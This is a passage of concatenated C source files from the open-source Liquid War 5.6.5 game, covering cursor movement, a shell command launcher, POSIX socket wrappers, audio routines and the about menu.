(&(CURRENT_CURSOR[indice].x), &(CURRENT_CURSOR[indice].y), dir - 1); /* * if it did not work, we try another direction * for instance if the direction was NORTH WEST we try NORTH */ if (!moved) moved = move_if_free (&(CURRENT_CURSOR[indice].x), &(CURRENT_CURSOR[indice].y), dir + 1); /* * The following code allows the cursor to really "slip" on walls. * Not very elegant, but it works 8-) */ if (!moved) { int xa1, ya1; int xb1, yb1; int xa2, ya2; int xb2, yb2; int i = 0; xa1 = xb1 = CURRENT_CURSOR[indice].x; ya1 = yb1 = CURRENT_CURSOR[indice].y; while (!moved && i < LW_MOVE_SIDE_LIMIT) { if (move_if_free (&xa1, &ya1, dir - 2)) { xa2 = xa1; ya2 = ya1; if (move_if_free (&xa2, &ya2, dir - 1)) { /* * Normally moved should be true after this */ moved = move_if_free (&(CURRENT_CURSOR[indice].x), &(CURRENT_CURSOR[indice].y), dir - 2); } } if (move_if_free (&xb1, &yb1, dir + 2)) { xb2 = xb1; yb2 = yb1; if (move_if_free (&xb2, &yb2, dir + 1)) { /* * Normally moved should be true after this */ moved = move_if_free (&(CURRENT_CURSOR[indice].x), &(CURRENT_CURSOR[indice].y), dir + 2); } } i++; } } } /* * now this is quite a subtle line * we decrement the value of the cursor when * - the cursor has moved, this is required since it means * that the cursor is now 1 pixel farer from all the fighters * as long as the gradient spreading has proven the contrary * or * - a condition base on the global clock is filled. * this avoids cyclic behaviors and some "lost" fighters which * might otherwise start looping in a corner of the map */ if (moved || !(GLOBAL_CLOCK % (NB_DIRS + 1))) { CURRENT_CURSOR[indice].val--; } /* * we retrieve the new mesh item associated to the new position */ mesh = CURRENT_AREA[CURRENT_CURSOR[indice].y * CURRENT_AREA_W + CURRENT_CURSOR[indice].x].mesh; /* * we tell the mesh where the cursor is * this information is redundant but it avoids complex things such as * my_struct->....->... ...->...->my_attribute; */ mesh->info[team].update.cursor.x = CURRENT_CURSOR[indice].x; mesh->info[team].update.cursor.y = CURRENT_CURSOR[indice].y; } /*------------------------------------------------------------------*/ /* * updates the key_state value for a local player, ie polls the keys * it might also poll the joystick but this is transparent */ static void update_key_local_cursor (int indice) { /* * the following code is pretty much the same for each key. * the is_touched_key will automatically poll the right device, * keyboard, mouse or joystick and return true if the logical * is in a "pressed" state */ CURRENT_CURSOR[indice].key_state = is_touched_key (CONFIG_KEY_UP[indice]) ? CURSOR_KEY_UP : 0; CURRENT_CURSOR[indice].key_state += is_touched_key (CONFIG_KEY_RIGHT[indice]) ? CURSOR_KEY_RIGHT : 0; CURRENT_CURSOR[indice].key_state += is_touched_key (CONFIG_KEY_DOWN[indice]) ? CURSOR_KEY_DOWN : 0; CURRENT_CURSOR[indice].key_state += is_touched_key (CONFIG_KEY_LEFT[indice]) ? CURSOR_KEY_LEFT : 0; } /*------------------------------------------------------------------*/ /* * updates the key_state for a cursor which is AI driven */ static void update_key_cpu_cursor (int indice) { /* * get_computer_next_move is the main AI function */ CURRENT_CURSOR[indice].key_state = get_computer_next_move (indice); } /*------------------------------------------------------------------*/ /* * moves all the cursors, (logical, eh?) * the kind of function one might wish to use in the main game loop */ void move_all_cursors (void) { int i, j; int checksum; /* * polls the module which wraps mouse moves to virtual keys */ lw_mouse_update_control (); /* * polls the joystick */ my_poll_joystick (); /* * one might wish to poll network stuff here but I'm not sure it's * the right place because of performance issues */ for (j = 0; j <= LW_CONFIG_CURRENT_RULES.cursor_increase_speed; ++j) { /* * loop for all the teams, the cursor of which is active */ for (i = 0; i < NB_TEAMS; ++i) { if (CURRENT_CURSOR[i].active) { /* * If the cursor is network controlled, we do nothing yet */ if (!CURRENT_CURSOR[i].from_network) { if (CURRENT_CURSOR[i].control_type == CONFIG_CONTROL_TYPE_CPU) { /* * the cursor is controlled by the computer */ update_key_cpu_cursor (i); } else { /* * the cursor is controlled by a human local player */ update_key_local_cursor (i); } } } } /* * we flush network informations if needed. */ if (LW_NETWORK_ON) { checksum = lw_checksum_calc (CURRENT_ARMY, CURRENT_ARMY_SIZE); /* * This call will automatically overwrite the key states * with those received from the network */ if (!lw_keyexch_flush (CURRENT_CURSOR, checksum)) { LW_NETWORK_ERROR_DETECTED = 1; } } for (i = 0; i < NB_TEAMS; ++i) { if (CURRENT_CURSOR[i].active) { move_cursor (i); } } } } liquidwar-5.6.5/src/execunix.c0000664000372000037200000001375713407756104015741 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* name : execunix.c */ /* content : code used to launch external programs under UNIX */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include #include #include #include #include #include #include "execgen.h" #include "log.h" #include "macro.h" /*==================================================================*/ /* constants */ /*==================================================================*/ #define LW_EXECUNIX_SHELL_CMD "/bin/sh" #define LW_EXECUNIX_SHELL_ARG1 "-c" #define LW_EXEC_ERROR_SIZE 1000 /*==================================================================*/ /* static functions */ /*==================================================================*/ static void handler_sigchld (int sig) { sig = sig; // useless parameter wait (NULL); return; } /*==================================================================*/ /* global functions */ /*==================================================================*/ /*------------------------------------------------------------------*/ /* * Launches a command line in another process. */ int lw_exec_cmd (char *cmd) { int result = 0; pid_t pid; char error_str[LW_EXEC_ERROR_SIZE]; struct sigaction action; sigemptyset (&action.sa_mask); action.sa_flags = 0; action.sa_handler = handler_sigchld; if (sigaction (SIGCHLD, &action, NULL) == -1) { log_println_str ("Unable to set SIGCHLD callback!"); } pid = fork (); switch (pid) { case 0: /* * We're in the child */ execl (LW_EXECUNIX_SHELL_CMD, LW_EXECUNIX_SHELL_CMD, LW_EXECUNIX_SHELL_ARG1, cmd, NULL); /* * If we get here, it means launching the command failed... */ LW_MACRO_SPRINTF5 (error_str, "Can't execute \"%s %s %s\", error %d: \"%s\"", LW_EXECUNIX_SHELL_CMD, LW_EXECUNIX_SHELL_ARG1, cmd, errno, strerror (errno)); log_println_str (error_str); exit (1); break; case -1: /* * Error forking */ log_println_str ("Unable to fork new process!"); break; default: /* * We're in the parent. */ log_print_str ("Forking with pid "); log_println_int (pid); result = 1; break; } return result; } liquidwar-5.6.5/src/sockunix.c0000664000372000037200000002502413407756104015742 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* name : sockunix.c */ /* content : simple wrappers on the POSIX socket API */ /* last update : April 13th 2001 */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include #include #include #include #include #include #include #include #include #include #include #include #include "sockgen.h" #include "log.h" /*==================================================================*/ /* defines */ /*==================================================================*/ #define LW_SOCK_NB_BACKLOG 10 #define LW_SOCK_ACCEPT_SEC 1 #define LW_SOCK_ACCEPT_USEC 0 /*==================================================================*/ /* macros */ /*==================================================================*/ #ifndef MIN #define MIN(a, b) (((a) < (b)) ? (a) : (b)) #endif #ifndef MAX #define MAX(a, b) (((a) > (b)) ? (a) : (b)) #endif /*==================================================================*/ /* globals */ /*==================================================================*/ int LW_SOCK_LOG = 0; /*==================================================================*/ /* fonctions */ /*==================================================================*/ /*------------------------------------------------------------------*/ /* * Useless on UNIX, this function is usefull on Microsh*t Windozs * where one has to "initialize" the winsock api 8-( */ int lw_sock_init () { int result = 1; /* * Well, it seems that SIGPIPE is sent to the application when * there's a brutal socket close or things like that, so we * just trap it and do nothing. Normally, the socket functions * should return an error anyway... */ if (signal (SIGPIPE, SIG_IGN) == SIG_ERR) { result = 0; } return result; } /*------------------------------------------------------------------*/ /* * Useless on UNIX. */ int lw_sock_exit () { int result = 1; return result; } /*------------------------------------------------------------------*/ /* * Creates, binds and prepares a TCP socket for listening. * This is usefull on the server. */ int lw_sock_listen (int *sock, int port) { int result = 0; struct sockaddr_in name; int enable = 1; *sock = socket (AF_INET, SOCK_STREAM, 0); if (*sock >= 0) { setsockopt (*sock, SOL_SOCKET, SO_REUSEADDR, (char *) &enable, sizeof (int)); name.sin_family = AF_INET; name.sin_addr.s_addr = INADDR_ANY; name.sin_port = htons (port); if (bind (*sock, (struct sockaddr *) &name, sizeof name) >= 0) { if (listen ((*sock), LW_SOCK_NB_BACKLOG) >= 0) { result = 1; } } } return result; } /*------------------------------------------------------------------*/ /* * Accepts an incoming connexion from a program which has issued a * connect. Usefull on the server. */ int lw_sock_accept (int *new_sock, char *ip, int *port, int listening_sock, int wait) { int result = 0; struct sockaddr_in name; socklen_t namelen = sizeof (struct sockaddr_in); fd_set read; struct timeval tv; int res; int enable = 1; int disable = 0; struct linger li; *new_sock = -1; ip[0] = '\0'; *port = 0; if (listening_sock >= 0) { FD_ZERO (&read); FD_SET (listening_sock, &read); if (wait) { tv.tv_sec = LW_SOCK_ACCEPT_SEC; tv.tv_usec = LW_SOCK_ACCEPT_USEC; } else { tv.tv_sec = 0; tv.tv_usec = 0; } res = select (listening_sock + 1, &read, NULL, NULL, &tv); if (res >= 1) { (*new_sock) = accept (listening_sock, (struct sockaddr *) &name, &namelen); if ((*new_sock) >= 0) { li.l_onoff = 0; li.l_linger = 0; setsockopt (*new_sock, SOL_SOCKET, SO_KEEPALIVE, (char *) &enable, sizeof (int)); setsockopt (*new_sock, SOL_SOCKET, SO_OOBINLINE, (char *) &disable, sizeof (int)); setsockopt (*new_sock, SOL_SOCKET, SO_LINGER, (char *) &li, sizeof (struct linger)); fcntl (*new_sock, F_SETFL, O_NONBLOCK, 0); strncpy (ip, inet_ntoa (name.sin_addr), LW_SOCK_IP_SIZE - 1); ip[LW_SOCK_IP_SIZE - 1] = 0; (*port) = (int) ntohs (name.sin_port); result = 1; } } } return result; } /*------------------------------------------------------------------*/ /* * Establishes a connection. The remote must have called sock_listen * first and must confirm the acceptation with a sock_accept. * Usefull on the client. */ int lw_sock_connect (int *sock, char *ip, int port) { int result = 0; struct sockaddr_in name; int enable = 1; int disable = 0; struct linger li; *sock = socket (AF_INET, SOCK_STREAM, 0); if (*sock >= 0) { name.sin_family = AF_INET; name.sin_addr.s_addr = INADDR_ANY; name.sin_port = 0; if (bind (*sock, (struct sockaddr *) &name, sizeof name) >= 0) { name.sin_family = AF_INET; if (inet_aton (ip, &name.sin_addr) != 0) { name.sin_port = htons (port); if (connect ((*sock), (struct sockaddr *) &name, sizeof name) >= 0) { /* * Added this code copied/paste from accept. * don'tknow if it's usefull */ li.l_onoff = 0; li.l_linger = 0; setsockopt (*sock, SOL_SOCKET, SO_KEEPALIVE, (char *) &enable, sizeof (int)); setsockopt (*sock, SOL_SOCKET, SO_OOBINLINE, (char *) &disable, sizeof (int)); setsockopt (*sock, SOL_SOCKET, SO_LINGER, (char *) &li, sizeof (struct linger)); fcntl (*sock, F_SETFL, O_NONBLOCK, 0); result = 1; } } } } return result; } /*------------------------------------------------------------------*/ /* * Closes a socket for good. */ int lw_sock_close (int *sock) { int result = 0; int sock_to_close; /* * We set *sock to 0 before we close it. This should reduce * thread problems */ sock_to_close = *sock; (*sock) = -1; if (shutdown (sock_to_close, 2) != 0) { /* * We could print a warning here. */ } if (close (sock_to_close) != 0) { /* * Strange error, was the socket really opened? */ } else { result = 1; } return result; } liquidwar-5.6.5/src/capture.h0000664000372000037200000001035113407756104015544 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* name : capture.h */ /* content : capture the video output and dump it on the disk */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_CAPTURE #define LIQUID_WAR_INCLUDE_CAPTURE /*==================================================================*/ /* includes */ /*==================================================================*/ /*==================================================================*/ /* constants */ /*==================================================================*/ /*==================================================================*/ /* functions */ /*==================================================================*/ extern int lw_capture_get_mode (); extern void lw_capture_set_mode (int mode); extern int lw_capture_dump_menu (); extern int lw_capture_dump_game (); #endif liquidwar-5.6.5/src/path.h0000664000372000037200000001052713407756104015042 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* name : path.h */ /* content : path and filenames manipulation */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_PATH #define LIQUID_WAR_INCLUDE_PATH /*==================================================================*/ /* constantes */ /*==================================================================*/ /*==================================================================*/ /* types */ /*==================================================================*/ /*==================================================================*/ /* variables globales */ /*==================================================================*/ /*==================================================================*/ /* fonctions globales */ /*==================================================================*/ char *lw_path_get_system_name (const char *filename); #endif liquidwar-5.6.5/src/thrdgen.h0000664000372000037200000000701013407756104015532 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* name : thrdgen.h */ /* content : cross platform API to handle basic threads */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_THRDGEN #define LIQUID_WAR_INCLUDE_THRDGEN int lw_thread_start (void (*func) (void *), void *args); #endif liquidwar-5.6.5/src/about.c0000664000372000037200000001352113407756104015210 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : about.c */ /* content : about menu */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include #include "back.h" #include "base.h" #include "config.h" #include "decal.h" #include "dialog.h" #include "disk.h" #include "graphics.h" #include "help.h" #include "menu.h" #include "options.h" #include "lang.h" #include "about.h" /*==================================================================*/ /* variables globales */ /*==================================================================*/ /*==================================================================*/ /* fonctions */ /*==================================================================*/ /*------------------------------------------------------------------*/ int lw_about (void) { DIALOG d[9]; int i, choix = 4, retour = 0; memset (d, 0, sizeof (d)); while (retour == 0) { for (i = 0; i < 4; ++i) standard_button (d + i + 4, 0, i, 1, 4); quick_buttons (d); d[4].dp = lw_lang_string (LW_LANG_STRING_ABOUT_CREDITS); d[5].dp = lw_lang_string (LW_LANG_STRING_ABOUT_COPYRIGHT); d[6].dp = lw_lang_string (LW_LANG_STRING_ABOUT_LICENSE); d[7].dp = lw_lang_string (LW_LANG_STRING_ABOUT_VERSION); d[8].proc = 0; choix = my_do_dialog (d, choix); switch (choix) { case -1: case MENU_QUICK_BACK: retour = 1; break; case MENU_QUICK_MAIN: retour = MENU_TOP; break; case MENU_QUICK_QUIT: if (confirm_quit ()) retour = MENU_EXIT; else display_back_image (); break; case MENU_QUICK_PLAY: retour = MENU_PLAY; break; case 4: retour = display_help (lw_lang_string (LW_LANG_STRING_HELP_CREDITS)); break; case 5: retour = display_help (lw_lang_string (LW_LANG_STRING_HELP_COPYRIGHT)); break; case 6: retour = display_help (lw_lang_string (LW_LANG_STRING_HELP_LICENSE)); break; case 7: retour = display_help (lw_lang_string (LW_LANG_STRING_HELP_VERSION)); break; } } if (retour > 0) retour--; return retour; } liquidwar-5.6.5/src/init.h0000664000372000037200000001012713407756104015045 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : init.h */ /* contenu : installation d'allegro */ /* date de modif : 3 mai 98 */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_INIT #define LIQUID_WAR_INCLUDE_INIT /*==================================================================*/ /* variables globales */ /*==================================================================*/ extern int LW_INIT_ALLEGRO_OK; /*==================================================================*/ /* fonctions globales */ /*==================================================================*/ void display_success (int success); void display_success_driver (char *driver); int init_all (); int start_graphic (void); #endif liquidwar-5.6.5/src/music.c0000664000372000037200000001305213407756104015215 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* name : music.c */ /* content : music related functions */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include #include "config.h" #include "disk.h" #include "startup.h" #include "music.h" /*==================================================================*/ /* variables globales */ /*==================================================================*/ int MUSIC_VOLUME = 0; static int MUSIC_VOLUME_VALUES[17] = { 0, 16, 32, 48, 64, 80, 96, 112, 128, 144, 160, 176, 192, 208, 224, 240, 255 }; /*==================================================================*/ /* functions */ /*==================================================================*/ /*------------------------------------------------------------------*/ int start_music (void) { static int last_volume = -1; static int last_file = -1; int result = 1; int i; /* * we pick up a random music, letting the user choose the music * would imply work on the GUI, which is very time consuming 8-( */ if (STARTUP_MUSIC_STATE && MIDI_MUSIC_NUMBER >= 0) { /* * we try and pick up a music that is different from * the last music played */ if (MIDI_MUSIC_NUMBER >= 2) { do { i = random () % MIDI_MUSIC_NUMBER; } while (i == last_file); } else { /* * we have only 1 midi file loaded... */ i = 0; } last_file = i; if (CONFIG_MUSIC_VOLUME != last_volume) { set_volume (-1, MUSIC_VOLUME_VALUES[CONFIG_MUSIC_VOLUME]); last_volume = CONFIG_MUSIC_VOLUME; } result = play_midi (MIDI_MUSIC[i], TRUE); } return result; } /*------------------------------------------------------------------*/ void stop_music (void) { if (STARTUP_MUSIC_STATE) { /* * Calling play_midi with a NULL arg ends the midi output */ play_midi (NULL, FALSE); } } liquidwar-5.6.5/src/sound.c0000664000372000037200000001742513407756104015235 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* name : sound.c */ /* content : low-level sound routines */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include "config.h" #include "disk.h" #include "sound.h" #include "mutxgen.h" #include "log.h" /*==================================================================*/ /* variables globales */ /*==================================================================*/ int WATER_VOLUME = 0; #define HASARD_SIZE 1024 static int HASARD_VALUE[HASARD_SIZE]; static int HASARD_INDEX; static int SOUND_VOLUME_VALUES[17] = { 0, 8, 10, 13, 16, 20, 25, 32, 40, 51, 64, 81, 101, 128, 161, 204, 255 }; static int WATER_DELAY = 2000; /*==================================================================*/ /* fonctions */ /*==================================================================*/ /*------------------------------------------------------------------*/ /* mise en place des bruits de fond */ /*------------------------------------------------------------------*/ /*------------------------------------------------------------------*/ static void water_handler (void) { int pan; int hasard; HASARD_INDEX++; HASARD_INDEX = HASARD_INDEX % HASARD_SIZE; if (WATER_VOLUME > 0) { if (HASARD_INDEX % 2) pan = 192; else pan = 64; hasard = HASARD_VALUE[HASARD_INDEX] % SAMPLE_WATER_NUMBER; play_sample (SAMPLE_WATER[hasard], SOUND_VOLUME_VALUES[WATER_VOLUME], pan, 1000, 0); } } END_OF_FUNCTION (water_handler); /*------------------------------------------------------------------*/ int start_water (void) { int result = 1; int i; for (i = 0; i < HASARD_SIZE; ++i) HASARD_VALUE[i] = random () + i; if (LOADED_WATER) { WATER_VOLUME = CONFIG_WATER_VOLUME_MENU; LOCK_FUNCTION (water_handler); LOCK_VARIABLE (HASARD_INDEX); LOCK_VARIABLE (HASARD_VALUE); LOCK_VARIABLE (SAMPLE_WATER); LOCK_VARIABLE (WATER_VOLUME); LOCK_VARIABLE (SOUND_VOLUME_VALUES); #ifdef DOS _go32_dpmi_lock_data (HASARD_VALUE, HASARD_SIZE * sizeof (int)); _go32_dpmi_lock_data 